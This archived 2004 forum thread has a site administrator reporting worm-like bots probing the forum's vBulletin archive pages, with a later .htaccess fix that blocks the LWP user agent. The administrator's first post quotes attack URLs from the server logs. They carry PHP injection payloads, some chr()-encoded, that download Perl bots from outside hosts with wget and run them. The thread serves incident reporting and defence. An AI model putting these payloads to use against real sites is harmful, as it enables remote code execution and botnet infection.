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View Full Version : I've disabled the forum archives temporarily


eclectica
2004-12-25, 21:13
The archive is normally found here (http://www.3-3-3.org/forum/archive/).

I've done this because I noticed some disturbing activity going on with what looks like bots, going through the archives. But unlike regular bots these all have different IP addresses and a user agent signature of LWP. A lot of the IP addresses resolve to ThePlanet.com in Dallas Texas. I've taken a screenshot of the bots going through the forum archives.

I'm not sure if it is benign or not, but it could be some kind of new vulrnerability in the forum archives that they are searching in some way for an exploit. And until I figure out how much of a threat it is, I will turn off the archives. Most of the links follow a pattern and are added at the end of a regular link to an archive piece. A couple of the links contain the websites civa.org (http://www.civa.org) and gratishost.com (http://www.gratishost.com).

This could be either a new exploit found in vBulletin, or one that works in an older version. Currently the board is using version 3.0.3, which is the latest version. Today being Christmas is a good day to test out exploits, because people are not paying much attention to what is going on on their bulletin boards. Maybe it's related to an exploit for MySQL (http://www.vbulletin.com/forum/showthread.php?t=123531) or the phpBB worm (http://www.vbulletin.com/forum/showthread.php?t=124008).

What concerned me about these bots was the actual links in the archives they were searching through. Here are a few examples of the links that they were hitting, looking through the latest visitor stats from cPanel:
IP address of 70.84.46.116 Agent: lwp-trivial/1.41
http://3-3-3.org/forum/archive/index.php/t-98.html&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a;rm%20-rf%20ssh.*;rm%20-rf%20bot*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
http://3-3-3.org/forum/archive/index.php/t-539.html&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527
IP address of 213.193.16.10 Agent: LWP::Simple/5.800
http://3-3-3.org/forum/archive/index.php/t-51.html&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a;rm%20-rf%20ssh.*;rm%20-rf%20bot*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
http://3-3-3.org/forum/archive/index.php/t-363.html&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527
IP address of 216.157.5.254 Agent: LWP::Simple/5.47
http://3-3-3.org/forum/archive/index.php/t-672.html&rush=echo%20_START_%3B%20cd%20/tmp;wget%20http://fff.gratishost.com/sess_0bc3910d07edb36750a9babbd179edb2;perl%20sess_0bc3910d07edb36750a9babbd179edb2;wget%20http://fff.gratishost.com/wow.a;perl%20wow.a%3B%20echo%20_END_&highlight=%2527.passthru(%24HTTP_GET_VARS%5Brush%5D).%2527
http://3-3-3.org/forum/archive/index.php/t-359.html&rush=echo%20_START_%3B%20cd%20/tmp;wget%20http://fff.gratishost.com/sess_0bc3910d07edb36750a9babbd179edb2;perl%20sess_0bc3910d07edb36750a9babbd179edb2;wget%20http://fff.gratishost.com/wow.a;perl%20wow.a%3B%20echo%20_END_&highlight=%2527.passthru(%24HTTP_GET_VARS%5Brush%5D).%2527

slx
2004-12-26, 00:18
maybe it's something i dreamt but i think i read someplace that bots can be block from vb access thru scripts

eclectica
2004-12-26, 06:13
Robots can be prevented from a site with a robots.txt file, which I think they follow voluntarily, or an .htaccess file, which they are forced to follow because it works from the server.

It looks like the cause of the unusual bot activity is the phpBB worm known as the NeverEverNoSanity WebWorm. You can see other people had a problem with it by reading this thread at vBulletin forums:
http://www.vbulletin.com/forum/showthread.php?t=124159
Post #17 of that thread has an .htaccess file in the attachment that I could, but chose not to, upload to the server to stop the bots:

SetEnvIfNoCase User-Agent ".*lwp.*" spambot=1

<Limit GET POST PUT>
Order allow,deny
deny from env=spambot
allow from all
</Limit>

I turned the forum archives back on.

eclectica
2004-12-26, 06:32
slx, I remember you were asking many months ago if there was a quick way to see the user agent in Who's Online. You can't get it directly through the forum jump menu, but through bookmarking in your browser this link:
http://www.3-3-3.org/forum/online.php?order=asc&sort=username&pp=200&page=1&who=&ua=1
That will show up to 200 people online at once, with the user agent displayed automatically. I got that link by going to the "Reload this Page" link, which displays the actual link of the page there. The address bar in the browser doesn't show all that extra information.